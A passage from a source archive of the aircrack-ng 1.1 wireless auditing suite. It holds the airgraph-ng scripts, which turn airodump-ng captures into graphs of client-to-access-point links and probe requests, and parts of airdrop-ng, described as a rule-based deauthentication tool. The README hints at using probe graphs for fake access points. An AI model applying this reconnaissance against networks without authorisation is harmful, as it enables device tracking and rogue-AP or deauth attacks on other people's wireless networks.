parse == "y": for line in items: clientMAC = line[0] probe_req = ', '.join(line[6:]) for bssid in tracked: if clientMAC not in tracked[bssid]:#check to make sure were not creating a node for a client that has an association allready subgraph.extend(['\tnode [label="',clientMAC,' \\nProbe Requests: ',probe_req,'" ] "',clientMAC,'";\n']) subgraph.extend(['\t}\n']) elif parse == "n": subgraph.extend(items) subgraph.extend(['\t}\n']) return subgraph ############################################### # Filter Class # ############################################### #def filter_enc(input,enc): # AP = info[1] # for key in AP: # bssid = AP[key] # if bssid[5] != enc: # del AP[bssid] # return_list = [info[0],AP] # return return_list #encryption type #number of clients #OUI #channel #beacon rate? #essid #speed #time #probe requests #whore mode... search for ANY one wanting to connect aircrack-ng-1.1/scripts/airgraph-ng/lib/Makefile0000644000000000000000000000044311144205432020323 0ustar rootrootAG_ROOT = .. include $(AG_ROOT)/common.mak LIB_FILES = lib_Airgraphviz.py ag_lib = $(bindir)/lib default: all all: @echo Nothing to do. Run make install install: uninstall install -d $(ag_lib) install -m 644 $(LIB_FILES) $(ag_lib) uninstall: -rm -f $(ag_lib)/lib_Airgraphviz.pyaircrack-ng-1.1/scripts/airgraph-ng/airgraph-ng.py0000644000000000000000000003604511227630751020705 0ustar rootroot#!/usr/bin/python __author__ = 'Ben "TheX1le" Smith' __email__ = 'thex1le@gmail.com' __website__= 'http://trac.aircrack-ng.org/browser/trunk/scripts/airgraph-ng/' __date__ = '07/16/09' __version__ = '0.2.5.1' __file__ = 'airgraph-ng' __data__ = 'This is the main airgraph-ng file' """ Welcome to airgraph written by TheX1le Special Thanks to Rel1k and Zero_Chaos two people whom with out i would not be who I am! More Thanks to Brandon x0ne Dixon who really cleaned up the code forced it into pydoc format and cleaned up the logic a bit Thanks Man! I would also like to thank muts and Remote Exploit Community for all their help and support! ######################################## # # Airgraph-ng.py --- Generate Graphs from airodump CSV Files # # Copyright (C) 2008 Ben Smith # # This program and its support programs are free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation; version 2. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # ######################################### """ """ Airgraph-ng """ import subprocess, sys, optparse def importPsyco(): try: # Import Psyco if available to speed up execution import psyco psyco.full() except ImportError: print "Psyco optimizer not installed, You may want to download and install it!" try: sys.path.append("./lib/") # The previous line works fine and find the lib if psyco isn't installed # When psyco is installed, it does not work anymore and a full path has to be used sys.path.append("/usr/local/bin/lib/") import lib_Airgraphviz dot_libs = lib_Airgraphviz #i dont think i need this but ill look at it later except ImportError: print "Support libary import error. Does lib_Airgraphviz exist?" sys.exit(1) def airgraphMaltego(inFile,graphType="CAPR"): """ Enables airgraph-ng to have support with Maltego TODO: Comment out code and show what is going on """ returned_var = airDumpOpen(inFile) returned_var = airDumpParse(returned_var) #returns the info dictionary list with the client and ap dictionarys info_lst = returned_var returned_var = dotCreate(returned_var,graphType,"true") maltegoRTN = [info_lst,returned_var[2],returned_var[3],returned_var[4]] return maltegoRTN def airDumpOpen(file): """ Takes one argument (the input file) and opens it for reading Returns a list full of data """ openedFile = open(file, "r") data = openedFile.readlines() cleanedData = [] for line in data: cleanedData.append(line.rstrip()) openedFile.close() return cleanedData def airDumpParse(cleanedDump): """ Function takes parsed dump file list and does some more cleaning. Returns a list of 2 dictionaries (Clients and APs) """ try: #some very basic error handeling to make sure they are loading up the correct file try: apStart = cleanedDump.index('BSSID, First time seen, Last time seen, Channel, Speed, Privacy, Power, # beacons, # data, LAN IP, ESSID') except Exception: apStart = cleanedDump.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key') del cleanedDump[apStart] #remove the first line of text with the headings try: stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs') except Exception: stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, ESSID') except Exception: print "You Seem to have provided an improper input file please make sure you are loading an airodump txt file and not a pcap" sys.exit(1) del cleanedDump[stationStart] #Remove the heading line clientList = cleanedDump[stationStart:] #Splits all client data into its own list del cleanedDump[stationStart:] #The remaining list is all of the AP information apDict = apTag(cleanedDump) clientDict = clientTag(clientList) resultDicts = [clientDict,apDict] #Put both dictionaries into a list return resultDicts def apTag(devices): """ Create a ap dictionary with tags of the data type on an incoming list """ dict = {} for entry in devices: ap = {} string_list = entry.split(',') #sorry for the clusterfuck but i swear it all makse sense this is builiding a dic from our list so we dont have to do postion calls later len(string_list) if len(string_list) == 15: ap = {"bssid":string_list[0].replace(' ',''),"fts":string_list[1],"lts":string_list[2],"channel":string_list[3].replace(' ',''),"speed":string_list[4],"privacy":string_list[5].replace(' ',''),"cipher":string_list[6],"auth":string_list[7],"power":string_list[8],"beacons":string_list[9],"iv":string_list[10],"ip":string_list[11],"id":string_list[12],"essid":string_list[13][1:],"key":string_list[14]} elif len(string_list) == 11: ap = {"bssid":string_list[0].replace(' ',''),"fts":string_list[1],"lts":string_list[2],"channel":string_list[3].replace(' ',''),"speed":string_list[4],"privacy":string_list[5].replace(' ',''),"power":string_list[6],"beacons":string_list[7],"data":string_list[8],"ip":string_list[9],"essid":string_list[10][1:]} if len(ap) != 0: dict[string_list[0]] = ap return dict def clientTag(devices): """ Create a client dictionary with tags of the data type on an incoming list """ dict = {} for entry in devices: client = {} string_list = entry.split(',') if len(string_list) >= 7: client = {"station":string_list[0].replace(' ',''),"fts":string_list[1],"lts":string_list[2],"power":string_list[3],"packets":string_list[4],"bssid":string_list[5].replace(' ',''),"probe":string_list[6:][0:]} if len(client) != 0: dict[string_list[0]] = client return dict def dictCreate(device): #deprecated """ Create a dictionary using an incoming list """ dict = {} for entry in device: #the following loop through the Clients List creates a nested list of each client in its own list grouped by a parent list of client info entry = entry.replace(' ','') string_list = entry.split(',') if string_list[0] != '': dict[string_list[0]] = string_list[:] #if the line isnt a blank line then it is stored in dictionlary with the MAC/BSSID as the key return dict def usage(): """ Prints the usage to use airgraph-ng """ print "############################################","\n# Welcome to Airgraph-ng #","\n############################################\n" def dotCreate(info,graphType,maltego="false"): """ Graphviz function to support the graph types TODO: Possibly move this to the library? """ #please dont try to use this feature yet its not finish and will error def ZKS_main(info): # Zero_Chaos Kitchen Sink Mode..... Every Thing but the Kitchen Sink! #info comes in as list Clients Dictionary at postion 0 and AP Dictionary at postion1 print "Feature is not ready yet" sys.exit(1) return_var = CAPR_main(info) APNC = return_var[2] CNAP = return_var[3] CAPR = return_var[0] del CAPR[:1] #remove the graphviz heading... dot_file = ['digraph G {\n\tsize ="96,96";\n\toverlap=scale;\n'] #start the graphviz config file dot_file.extend(dot_libs.subGraph(CAPR,'Clients to AP Relationships','CAPR',return_var[4],'n')) if len(APNC) != 0: # there should be a better way to check for null lists dot_file.extend(dot_libs.subGraph(APNC,'Acess Points with no Clients','AP',return_var[4])) if len(CNAP) != 0: dot_file.extend(dot_libs.subGraph(CNAP,'Clients that are Not Assoicated','Clients',return_var[4])) footer = ['test','test'] return_lst = [dot_file,footer] return return_lst def CPG_main(info): """ CPG stands for Common Probe Graph Information comes in a list - Clients Dictionary at postion 0 and AP Dictionary at postion 1 Returns a single list containing a list for the dotFile and the footer """ clients = info[0] AP = info[1] probeCount = 0 #keep track of our probes probeList = [] #keep track of requested probes dotFile = ['digraph G {\n\tsize ="144,144";\n\toverlap=false;\n'] #start the graphviz config file clientProbe = {} for key in (clients): mac = clients[key] if len(mac["probe"]) > 1 or mac["probe"] != ['']: for probe in mac["probe"]: if probe != '': if clientProbe.has_key(mac["station"]): clientProbe[mac["station"]].extend([probe]) else: clientProbe[mac["station"]] = [probe] for Client in (clientProbe): for probe in clientProbe[Client]: localProbeCount = len(clientProbe[Client]) probeCount += localProbeCount client_label = [Client,"\\nRequesting ","%s" %(localProbeCount)," Probes"] dotFile.extend(dot_libs.clientColor(probe,"blue")) dotFile.extend(dot_libs.clientColor(Client,"black",''.join(client_label))) dotFile.extend(dot_libs.graphvizLinker(Client,'->',probe)) footer = ['label="Generated by Airgraph-ng','\\n%s'%(len(clientProbe)),' Probes and','\\n%s'%(probeCount),' Clients are shown";\n'] CPGresults = [dotFile,footer] return CPGresults def CAPR_main(info): """ The Main Module for Client AP Relationship Grpah Information comes in a list - Clients Dictionary at postion 0 and AP Dictionary at postion 1 """ clients = info[0] AP = info[1] dotFile = ['digraph G {\n\tsize ="144,144";\n\toverlap=false;\n'] #start the graphviz config file NA = [] #create a var to keep the not associdated clients NAP = [] #create a var to keep track of associated clients to AP's we cant see apCount = {} #count number of Aps dict is faster the list stored as BSSID:number of essids clientCount = 0 apClient = {} #dict that stores bssid and clients as a nested list for key in (clients): mac = clients[key] #mac is the MAC address of the client if mac["bssid"] != ' (notassociated) ': #one line of of our dictionary of clients if AP.has_key(mac["bssid"]): # if it is check to see its an AP we can see and have info on if apClient.has_key(mac["bssid"]): #if key exists append new client apClient[mac["bssid"]].extend([key]) else: #create new key and append the client apClient[mac["bssid"]] = [key] else: NAP.append(key) # stores the clients that are talking to an access point we cant see else: NA.append(key) #stores the lines of the not assocated AP's in a list for bssid in (apClient): clientList = apClient[bssid] for client in (clientList): dotFile.extend(dot_libs.graphvizLinker(bssid,'->',client)) #create a basic link between the two devices dotFile.extend(dot_libs.clientColor(client,"black")) #label the client with a name and a color apCount[bssid] = len(clientList) #count the number of APs clientCount += len(clientList) #count the number of clients bssidI = AP[bssid]["bssid"] #get the BSSID info from the AP dict color = dot_libs.encryptionColor(AP[bssid]["privacy"]) # Deterimine what color the graph should be if AP[bssid]["privacy"] == '': #if there is no encryption detected we set it to unknown AP[bssid]["privacy"] = "Unknown" AP_label = [bssid,AP[bssid]["essid"],AP[bssid]["channel"],AP[bssid]["privacy"],len(clientList)]# Create a list with all our info to label the clients with dotFile.extend(dot_libs.apColor(AP_label,color)) #label the access point and add it to the dotfile footer = ['label="Generated by Airgraph-ng','\\n%s'%(len(apCount)),' Access Points and','\\n%s'%(clientCount),' Clients are shown";\n'] CAPRresults = [dotFile,footer,NAP,NA,apClient] return CAPRresults if maltego == "true": return_var = CAPR_main(info) return return_var if graphType == "CAPR": return_var = CAPR_main(info) #return_var is a list, dotfile postion 0, Not asscioated clients in 3 and clients talking to access points we cant see 2, the footer in 1 return_var = dot_libs.dotClose(return_var[0],return_var[1]) elif graphType == "CPG": return_var = CPG_main(info) #return_var is a list, dotfile postion 0, the footer in 1 return_var = dot_libs.dotClose(return_var[0],return_var[1]) elif graphType == "ZKS": return_var = ZKS_main(info) return_var = dot_libs.dotClose(return_var[0],return_var[1]) return return_var def graphvizCreation(output): """ Create the graph image using our data """ try: subprocess.Popen(["fdp","-Tpng","airGconfig.dot","-o",output,"-Gcharset=latin1"]).wait() except Exception: subprocess.Popen(["rm","-rf","airGconfig.dot"]) print "You seem to be missing the Graphviz tool set did you check out the deps in the README?" sys.exit(1) subprocess.Popen(["rm","-rf","airGconfig.dot"]) #Commenting out this line will leave the dot config file for debuging def graphvizProgress(): print "\n**** WARNING Images can be large! ****\n" print "Creating your Graph using", inFile, "and outputting to", outFile print "Depending on your system this can take a bit. Please standby......." def graphvizComplete(): print "Graph Creation Complete!" if __name__ == "__main__": """ Main function. Parses command line input for proper switches and arguments. Error checking is done in here. Variables are defined and all calls are made from MAIN. """ parser = optparse.OptionParser("usage: %prog options [-p] -o -i -g ") # parser.add_option("-o", "--output", dest="output",nargs=1, help="Our Output Image ie... Image.png") parser.add_option("-i", "--dump", dest="input", nargs=1 ,help="Airodump txt file in CSV format NOT the pcap") parser.add_option("-g", "--graph", dest="graph_type", nargs=1 ,help="Graph Type Current [CAPR (Client to AP Relationship) OR CPG (Common probe graph)]") parser.add_option("-p", "--nopsyco",dest="pysco",action="store_false",default=True,help="Disable the use of Psyco JIT") if len(sys.argv) <= 1: usage() parser.print_help() sys.exit(0) (options, args) = parser.parse_args() outFile = options.output graphType = options.graph_type inFile = options.input if options.pysco == True: importPsyco() if inFile == None: print "Error No Input File Specified" sys.exit(1) if outFile == None: outFile = options.input.replace('.txt', '.png') if graphType not in ['CAPR','CPG','ZKS']: print "Error Invalid Graph Type\nVaild types are CAPR or CPG" sys.exit(1) if graphType == None: print "Error No Graph Type Defined" sys.exit(1) fileOpenResults = airDumpOpen(inFile) parsedResults = airDumpParse(fileOpenResults) returned_var = dotCreate(parsedResults,graphType) dot_libs.dotWrite(returned_var) graphvizProgress() graphvizCreation(outFile) graphvizComplete() ################################################################################ # EOF # ################################################################################ #notes windows port #subprocess.Popen(["del","airGconfig.dot"]) # commenting out this line will leave the dot config file for debuging #subprocess.Popen(["c:\\Program Files\\Graphviz2.21\\bin\\fdp.exe","-Tpng","airGconfig.dot","-o",output,"-Kfdp"]).wait() aircrack-ng-1.1/scripts/airgraph-ng/man/0000755000000000000000000000000011364675642016711 5ustar rootrootaircrack-ng-1.1/scripts/airgraph-ng/man/dump-join.10000644000000000000000000000074111142353535020663 0ustar rootroot.TH Dump-join .SH NAME dump-join - a support tool for airgraph-ng that allows you to join the airodump output files. .SH SYNOPSIS dump-join.py -i foo_name_1 foo_name_2 foo_name_3 .... -o output-file.txt .SH DESCRIPTION A simple support tool that allows joining of airodump files into one larger file. It supports an unlimited amount of input files to a single output file. .SH OPTIONS .IP -i Input Files [ foo_name_1 foo_name_2 foo_name_3 ..] .IP -o Output File aircrack-ng-1.1/scripts/airgraph-ng/man/Makefile0000644000000000000000000000057211144205432020333 0ustar rootrootAG_ROOT = .. include $(AG_ROOT)/common.mak MP_FILES = airgraph-ng.1 dump-join.1 default: all all: @echo Nothing to do. Run make install install: uninstall install -d $(DESTDIR)$(mandir) install -m 644 $(MP_FILES) $(DESTDIR)$(mandir) uninstall: @-$(foreach CUR_MP,$(MP_FILES), rm -f $(DESTDIR)$(mandir)/$(CUR_MP); echo rm -f $(DESTDIR)$(mandir)/$(CUR_MP); ) aircrack-ng-1.1/scripts/airgraph-ng/man/airgraph-ng.10000644000000000000000000000150011142353535021152 0ustar rootroot.TH airgraph-ng "January 2009" Linux "User Manual" .SH NAME airgraph-ng - a 802.11 visualization utility .SH SYNOPSIS airgraph-ng [options] .SH DESCRIPITION .I airgraph-ng's purpose is to graph the txt file that is created when .I you run airodump with the -w option. The idea is that we are showing .I the relationships of the clients to the AP's so dont be shocked if .I you see only one mapping as you may only have captured one client airgraph-ng -i [your txt file] -o [the output file in png format] -g [graph Format option is either CAPR or CPG] .SH OPTIONS .IP -h Shows the help screen. .IP -i Airodump input file .IP -o Output png file. .IP -g Choose the Graph Type Current types are [CAPR (Client to AP Relationship) & CPG (Common probe graph)] .IP -a Print the about aircrack-ng-1.1/scripts/airgraph-ng/dump-join.py0000644000000000000000000000672311145462320020402 0ustar rootroot #!/usr/bin/python # this script is a total hack it works and ill clean it up later import sys,getopt, optparse, pdb, re def raw_lines(file): try: raw_lines = open(file, "r") except Exception: print "Failed to open ",file,". Do you have the file name correct?" sys.exit(1) Rlines = raw_lines.readlines() return Rlines def parse_file(file,file_name): cleanup = [] for line in file: # match=re.search("\n", line) # the next few lines are notes and can be ignored # if match: # line=line.replace("\n","") #for x in line: # clean = filter(lambda y: y != '\n', x) clean = line.rstrip() cleanup.append(clean) try: header = cleanup.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key') stationStart = cleanup.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs') del cleanup[header] except Exception: print "You seem to have provided an improper input file"" '",file_name,"' ""Please make sure you are loading an airodump csv file and not a Pcap" sys.exit(1) Clients = cleanup[stationStart:] #splits off the clients into their own list stationStart = stationStart - 1 #ulgy hack to make sure the heading gets deleted from end of the APs List del cleanup[stationStart:]#removed all of the client info leaving only the info on available target AP's in ardump maby i should create a new list for APs? lines = [cleanup,Clients] return lines def join_write(data,name): file = open(name,'a') for line in data[0]: line=line.rstrip() if len(line)>1: file.write(line+'\n') for line in data [1]: if len(line)>1: file.write(line+'\n') file.close() def showBanner(): print "Airodump Joiner\nJoin Two Airodump CSV Files\n\n\t-i\tInput Files [ foo_name_1 foo_name_2 foo_name_3 .....] \n\t-o\tOutput File\n" def file_pool(files): AP = [] Clients = [] for file in files: ret = raw_lines(file) ret = parse_file(ret,file) AP.extend(ret[1]) Clients.extend(ret[0]) lines = [AP,Clients] output = sort_file(lines) return output def sort_file(input): AP = ['BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key'] Clients = ['\nStation MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs'] Clients.extend(input[0]) AP.extend(input[1]) output = [AP,Clients] return output if __name__ == "__main__": if len(sys.argv) <= 1: showBanner() sys.exit(1) parser = optparse.OptionParser("usage: %prog [options] arg1 arg2 arg3 .....") parser.add_option("-o", "--output", dest="output",nargs=1, help="output file to write to") parser.add_option("-i", "--file", dest="filename", nargs=2 ,help="Input files to read data from requires at least two arguments") (options, args) = parser.parse_args() filenames = options.filename outfile = options.output if outfile == None: print "You must provide a file name to write out to. IE... -o foo.csv\n" showBanner() sys.exit(1) elif filenames == None: print "You must provide at least two file names to join. IE... -i foo1.csv foo2.csv\n" showBanner() sys.exit(1) for file_name in args: filenames += (file_name,) return_var = file_pool(filenames) return_var = join_write(return_var,outfile) aircrack-ng-1.1/scripts/airgraph-ng/Makefile0000644000000000000000000000115011144205432017551 0ustar rootrootAG_ROOT = . include $(AG_ROOT)/common.mak SCRIPTS = airgraph-ng.py dump-join.py DOCFILES = README default: all all: @echo Nothing to do. Run make install install: install -m 755 $(SCRIPTS) $(DESTDIR)$(bindir) $(MAKE) -C man $(@) $(MAKE) -C lib $(@) uninstall: -rm -f $(DESTDIR)$(bindir)/airgraph-ng.py -rm -f $(DESTDIR)$(bindir)/dump-join.py -rm -f $(DESTDIR)$(docdir)/README $(MAKE) -C lib $(@) $(MAKE) -C man $(@) doc: install -d $(DESTDIR)$(docdir) install -m 644 $(DOCFILES) $(DESTDIR)$(docdir) clean: @echo Nothing to do. distclean: clean aircrack-ng-1.1/scripts/airgraph-ng/README0000644000000000000000000000314611162304177017006 0ustar rootrootWelcome to airgraph-ng !!! Please note due to a lack of PNG support in Graphviz under BackTrack 3 Airgraph-ng is not currently supported here. I am aware of the issue i just havent had time to fix it!!!!!! airgraph-ng's purpose is to graph the txt file that is created when you run airodump with the -w option The idea is that we are showing the relationships of the clients to the AP's so dont be shocked if you see only one mapping as you may only have captured one client airgraph-ng depends are as follows graphviz with png support airodump-ng python The program usage is as follows airgraph-ng -i [your txt file] -o [the output file in png format] -g [graph Format option is either CAPR or CPG] I am happy to indroduce an option for graph types There are two current graph types CAPR or Client to AP Relationship This shows you all the clients attached to a particular AP CPR or Client Prob Graph This showes you all the clients that are sending out probe requests for the same ESSID's ;-) Fake AP any one? Once you have airgraph-ng set up and installed i have included some test data to allow you to quickly see if airgraph-ng is working. This data can be found in the test directory inside the libs directory Airgraph-ng sets graphviz to use the latin character set if this is a problem for you please let me know. I did this to clear up a bug i had with the CPG graphs dumpjoin.py is a short support script that will allow you to join two airodump CSV files into one. Run the program with no arugments to see the usage This is still a work in progress if you have questions contact TheX1le at thex1le gmail.com aircrack-ng-1.1/scripts/airdrop-ng/0000755000000000000000000000000011364675642016001 5ustar rootrootaircrack-ng-1.1/scripts/airdrop-ng/logs/0000755000000000000000000000000011364675642016745 5ustar rootrootaircrack-ng-1.1/scripts/airdrop-ng/uninstall.py0000755000000000000000000000101511347611511020346 0ustar rootroot#!/usr/bin/env python __author__ = "Marfi" __version__ = "?" from os import system, geteuid from sys import exit if geteuid() != 0: print "airdrop-ng must be root. Please \n'su' or 'sudo -i' and run again. \nExiting..." exit(1) yno = raw_input ("You shouldn't need this. Remove? (y/n): ") if yno == "y": print "Removing man entry and airdrop-ng..." system ("sudo rm /usr/share/man/man1/airdrop-ng.1") system ("sudo rm /usr/bin/airdrop-ng") system ("sudo rm -r /usr/lib/airdrop-ng") else: print "Exiting..." exit() aircrack-ng-1.1/scripts/airdrop-ng/lib/0000755000000000000000000000000011364675642016547 5ustar rootrootaircrack-ng-1.1/scripts/airdrop-ng/lib/libOuiParse.py0000755000000000000000000001247511342020747021335 0ustar rootroot#!/usr/bin/env python __author__ = 'Ben "TheX1le" Smith, Marfi' __email__ = 'thex1le@gmail.com' __website__= '' __date__ = '09/19/09' __version__ = '2009.11.23' __file__ = 'ouiParse.py' __data__ = 'a class for dealing with the oui txt file' """ ######################################## # # This program and its support programs are free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation; version 2. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # ######################################### """ import re, urllib2, sys, os class macOUI_lookup: """ A class for deaing with OUIs and deterimining device type """ def __init__(self,oui=None): """ generate the two dictionaries and return them """ #a poor fix where if we have no file it trys to download it self.ouiTxtUrl = "http://standards.ieee.org/regauth/oui/oui.txt" self.ouiUnPath = '/usr/lib/airdrop-ng/'#path to oui.txt if module is installed self.ouiInPath = './support/' #path to oui.txt if module is not installed if oui == None: "if the file name is not provided attempt to get it" self.ouiTxt = None self.ouiUpdate() else: self.ouiTxt = oui #location of the oui txtfile on the hard drive self.ouiRaw = self.ouiOpen() self.oui_company = self.ouiParse() #dict where oui's are the keys to company names self.company_oui = self.companyParse() #dict where company name is the key to oui's def compKeyChk(self,name): """ check for valid company name key """ compMatch = re.compile(name,re.I) if self.company_oui.has_key(name): return True for key in self.company_oui.keys(): if compMatch.search(key) is not None: return True return False def ouiKeyChk(self,name): """ check for a valid oui prefix """ if self.oui_company.has_key(name): return True else: return False def lookup_OUI(self,mac): """ Lookup a oui and return the company name """ if self.ouiKeyChk(mac) is not False: return self.oui_company[mac][0] else: return False def lookup_company(self,companyLst): """ look up a company name and return their OUI's """ oui = [] if type(companyLst).__name__ == "list": for name in companyLst: compMatch = re.compile(name,re.I) if self.company_oui.has_key(name): oui.extend(self.company_oui[name]) else: for key in self.company_oui: if compMatch.search(key) is not None: oui.extend(self.company_oui[key]) elif type(companyLst).__name__ == "str": if self.company_oui.has_key(companyLst): oui = self.company_oui[companyLst] else: compMatch = re.compile(companyLst,re.I) for key in self.company_oui: if compMatch.search(key) is not None: oui.extend(self.company_oui[key]) #return the oui for that key return oui def ouiOpen(self): """ open the file and read it in """ ouiFile = open(self.ouiTxt, "r") text = ouiFile.read() return text def ouiParse(self): """ generate a oui to company lookup dict """ HexOui= {} Hex = re.compile('.*(hex).*') #matches the following example "00-00-00 (hex)\t\tXEROX CORPORATION" ouiLines = self.ouiRaw.split("\n\n") #split each company into a list one company per position for line in ouiLines: if Hex.search(line) != None: lineList = Hex.search(line).group().replace("\t"," ").split(" ") #return the matched text and build a list out of it HexOui[lineList[0].replace("-",":")] = [lineList[2]] #build a dict in the format of mac:company name return HexOui def companyParse(self): """ generate a company to oui lookup dict """ company_oui = {} for oui in self.oui_company: if company_oui.has_key(self.oui_company[oui][0]): company_oui[self.oui_company[oui][0]].append(oui) else: company_oui[self.oui_company[oui][0]] = [oui] return company_oui def ouiUpdate(self): """ Grab the oui txt file off the ieee.org website """ if os.path.isdir (self.ouiInPath) == True: print "Going to support/ to install new oui.txt..." ouiDIR = self.ouiInPath else: print "Going to /usr/lib/airdrop-ng to install new oui.txt..." ouiDIR = self.ouiUnPath try: os.remove(ouiDIR+"oui.txt") except OSError: print "Unable to delete oui.txt" try: # Checks to see if it's running from a directory when not installed. # If not, then goes to /usr/lib/airdrop-ng , where the main file is. ouiOnline = urllib2.urlopen(self.ouiTxtUrl) print "Writing OUI file" #lFile = open (ouiDIR+"oui.txt", "w") #lFile.writelines(ouiOnline) #lFile.close() #ouiOnline.close() #self.ouiTxt = ouiDIR+"oui.txt" dire = ouiDIR + "oui.txt" import urllib urllib.urlretrieve(self.ouiTxtUrl, dire) print "Completed Successfully" sys.exit(0) except Exception,e: print e print "Could not download file." print "Exiting airdrop-ng. Card in monitor mode or not root?" sys.exit(0) #used for testing if __name__ == "__main__": lookup = macOUI_lookup("../support/oui.txt") print lookup.lookup_OUI('00:20:DB') value = lookup.lookup_company("apple") print value print len(value) aircrack-ng-1.1/scripts/airdrop-ng/lib/colorize.py0000644000000000000000000000110411342020747020725 0ustar rootroot#!/usr/bin/env python """ Python module for adding colors to print statements """ class bcolors: """ class for using colored text """ HEADER = '\033[95m' #pink OKBLUE = '\033[94m' #blue OKGREEN = '\033[92m' #green WARNING = '\033[93m' #yellow FAIL = '\033[91m' #red ENDC = '\033[0m' #white def disable(self): """ fucntion to disable colored text """ self.HEADER = '' self.OKBLUE = '' self.OKGREEN = '' self.WARNING = '' self.FAIL = '' self.ENDC = '' aircrack-ng-1.1/scripts/airdrop-ng/lib/libDumpParse.py0000644000000000000000000001244511342020747021500 0ustar rootroot#!/usr/bin/python #airodump parsing lib #returns in an array of client and Ap information #part of the airdrop-ng project from sys import exit as Exit class airDumpParse: def parser(self,file): """ One Function to call to parse a file and return the information """ fileOpenResults = self.airDumpOpen(file) parsedResults = self.airDumpParse(fileOpenResults) capr = self.clientApChannelRelationship(parsedResults) rtrnList = [capr,parsedResults] return rtrnList def airDumpOpen(self,file): """ Takes one argument (the input file) and opens it for reading Returns a list full of data """ try: openedFile = open(file, "r") except IOError: print "Error Airodump File",file,"does not exist" Exit(1) data = openedFile.xreadlines() cleanedData = [] for line in data: cleanedData.append(line.rstrip()) openedFile.close() return cleanedData def airDumpParse(self,cleanedDump): """ Function takes parsed dump file list and does some more cleaning. Returns a list of 2 dictionaries (Clients and APs) """ try: #some very basic error handeling to make sure they are loading up the correct file try: apStart = cleanedDump.index('BSSID, First time seen, Last time seen, Channel, Speed, Privacy, Power, # beacons, # data, LAN IP, ESSID') except Exception: apStart = cleanedDump.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key') del cleanedDump[apStart] #remove the first line of text with the headings try: stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs') except Exception: stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, ESSID') except Exception: print "You Seem to have provided an improper input file please make sure you are loading an airodump txt file and not a pcap" Exit(1) del cleanedDump[stationStart] #Remove the heading line clientList = cleanedDump[stationStart:] #Splits all client data into its own list del cleanedDump[stationStart:] #The remaining list is all of the AP information apDict = self.apTag(cleanedDump) clientDict = self.clientTag(clientList) resultDicts = [clientDict,apDict] #Put both dictionaries into a list return resultDicts def apTag(self,devices): """ Create a ap dictionary with tags of the data type on an incoming list """ dict = {} for entry in devices: ap = {} string_list = entry.split(',') #sorry for the clusterfuck but i swear it all makse sense this is builiding a dic from our list so we dont have to do postion calls later len(string_list) if len(string_list) == 15: ap = {"bssid":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "channel":string_list[3].replace(' ',''), "speed":string_list[4], "privacy":string_list[5].replace(' ',''), "cipher":string_list[6], "auth":string_list[7], "power":string_list[8], "beacons":string_list[9], "iv":string_list[10], "ip":string_list[11], "id":string_list[12], "essid":string_list[13][1:], "key":string_list[14]} elif len(string_list) == 11: ap = {"bssid":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "channel":string_list[3].replace(' ',''), "speed":string_list[4], "privacy":string_list[5].replace(' ',''), "power":string_list[6], "beacons":string_list[7], "data":string_list[8], "ip":string_list[9], "essid":string_list[10][1:]} if len(ap) != 0: dict[string_list[0]] = ap return dict def clientTag(self,devices): """ Create a client dictionary with tags of the data type on an incoming list """ dict = {} for entry in devices: client = {} string_list = entry.split(',') if len(string_list) >= 7: client = {"station":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "power":string_list[3], "packets":string_list[4], "bssid":string_list[5].replace(' ',''), "probe":string_list[6:][0:]} if len(client) != 0: dict[string_list[0]] = client return dict def clientApChannelRelationship(self,data): """ parse the dic for the relationships of client to ap """ clients = data[0] AP = data[1] NA = [] #create a var to keep the not associdated clients NAP = [] #create a var to keep track of associated clients to AP's we cant see apCount = {} #count number of Aps dict is faster the list stored as BSSID:number of essids apClient = {} #dict that stores bssid and clients as a nested list for key in (clients): mac = clients[key] #mac is the MAC address of the client if mac["bssid"] != ' (notassociated) ': #one line of of our dictionary of clients if AP.has_key(mac["bssid"]): # if it is check to see its an AP we can see and have info on if apClient.has_key(mac["bssid"]): apClient[mac["bssid"]].extend([key]) #if key exists append new client else: apClient[mac["bssid"]] = [key] #create new key and append the client else: NAP.append(key) # stores the clients that are talking to an access point we cant see else: NA.append(key) #stores the lines of the not assocated AP's in a list return apClient aircrack-ng-1.1/scripts/airdrop-ng/docs/0000755000000000000000000000000011364675642016731 5ustar rootrootaircrack-ng-1.1/scripts/airdrop-ng/docs/Apple.sample.txt0000644000000000000000000000047211342020747022000 0ustar rootroot#direct string lookup #strings were grep'd from the oui Txt file Apple Computer Apple Computer Inc Apple Computer Inc. Apple Computer, Inc. Apple Inc Apple, Inc Apple, Inc. APPLE COMPUTER APPLE COMPUTER INC. APPLE COMPUTER, INC. APPLE, INC #regex lookup apple #this will return the same ouis as the strings above aircrack-ng-1.1/scripts/airdrop-ng/docs/airdrop-ng.10000644000000000000000000000373011347522476021055 0ustar rootroot.TH AIRDROP-NG 1 .SH NAME airdrop-ng - A rule based wireless deauth tool .SH SYNOPSIS .B airdrop-ng [-i -t -r ] -d -s -p -b 